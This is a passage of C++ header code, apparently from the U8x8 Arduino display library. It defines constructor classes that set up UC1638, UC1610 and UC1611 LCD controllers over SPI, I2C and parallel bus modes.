U8X8_UC1638_160X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_160X128_8080 : public U8X8 { public: U8X8_UC1638_160X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_160x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_192X96_4W_SW_SPI : public U8X8 { public: U8X8_UC1638_192X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1638_192X96_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_192X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_192X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_192X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_192X96_3W_SW_SPI : public U8X8 { public: U8X8_UC1638_192X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1638_192X96_3W_HW_SPI : public U8X8 { public: U8X8_UC1638_192X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1638_192X96_6800 : public U8X8 { public: U8X8_UC1638_192X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_192X96_8080 : public U8X8 { public: U8X8_UC1638_192X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_192X96_SW_I2C : public U8X8 { public: U8X8_UC1638_192X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1638_192X96_HW_I2C : public U8X8 { public: U8X8_UC1638_192X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1638_192X96_2ND_HW_I2C : public U8X8 { public: U8X8_UC1638_192X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_192x96, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1638_240X128_4W_SW_SPI : public U8X8 { public: U8X8_UC1638_240X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1638_240X128_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_240X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_240X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1638_240X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1638_240X128_3W_SW_SPI : public U8X8 { public: U8X8_UC1638_240X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1638_240X128_3W_HW_SPI : public U8X8 { public: U8X8_UC1638_240X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1638_240X128_6800 : public U8X8 { public: U8X8_UC1638_240X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_240X128_8080 : public U8X8 { public: U8X8_UC1638_240X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_011, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1638_240X128_SW_I2C : public U8X8 { public: U8X8_UC1638_240X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1638_240X128_HW_I2C : public U8X8 { public: U8X8_UC1638_240X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1638_240X128_2ND_HW_I2C : public U8X8 { public: U8X8_UC1638_240X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1638_240x128, u8x8_cad_uc1638_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1610_EA_DOGXL160_4W_SW_SPI : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1610_EA_DOGXL160_4W_HW_SPI : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1610_EA_DOGXL160_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1610_EA_DOGXL160_3W_SW_SPI : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1610_EA_DOGXL160_3W_HW_SPI : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1610_EA_DOGXL160_6800 : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1610_EA_DOGXL160_8080 : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1610_EA_DOGXL160_SW_I2C : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1610_EA_DOGXL160_HW_I2C : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1610_EA_DOGXL160_2ND_HW_I2C : public U8X8 { public: U8X8_UC1610_EA_DOGXL160_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1610_ea_dogxl160, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1611_EA_DOGM240_4W_SW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGM240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGM240_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGM240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EA_DOGM240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGM240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EA_DOGM240_3W_SW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGM240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1611_EA_DOGM240_3W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGM240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1611_EA_DOGM240_6800 : public U8X8 { public: U8X8_UC1611_EA_DOGM240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGM240_8080 : public U8X8 { public: U8X8_UC1611_EA_DOGM240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGM240_SW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGM240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1611_EA_DOGM240_HW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGM240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1611_EA_DOGM240_2ND_HW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGM240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogm240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1611_EA_DOGXL240_4W_SW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGXL240_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EA_DOGXL240_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EA_DOGXL240_3W_SW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1611_EA_DOGXL240_3W_HW_SPI : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1611_EA_DOGXL240_6800 : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGXL240_8080 : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EA_DOGXL240_SW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_UC1611_EA_DOGXL240_HW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_UC1611_EA_DOGXL240_2ND_HW_I2C : public U8X8 { public: U8X8_UC1611_EA_DOGXL240_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ea_dogxl240, u8x8_cad_uc16xx_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_UC1611_EW50850_4W_SW_SPI : public U8X8 { public: U8X8_UC1611_EW50850_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_UC1611_EW50850_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EW50850_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EW50850_2ND_4W_HW_SPI : public U8X8 { public: U8X8_UC1611_EW50850_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_UC1611_EW50850_3W_SW_SPI : public U8X8 { public: U8X8_UC1611_EW50850_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_UC1611_EW50850_3W_HW_SPI : public U8X8 { public: U8X8_UC1611_EW50850_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_UC1611_EW50850_6800 : public U8X8 { public: U8X8_UC1611_EW50850_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EW50850_8080 : public U8X8 { public: U8X8_UC1611_EW50850_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_uc1611_ew50850, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_UC1611_EW50850_SW_I2C : public U8X8 { public: 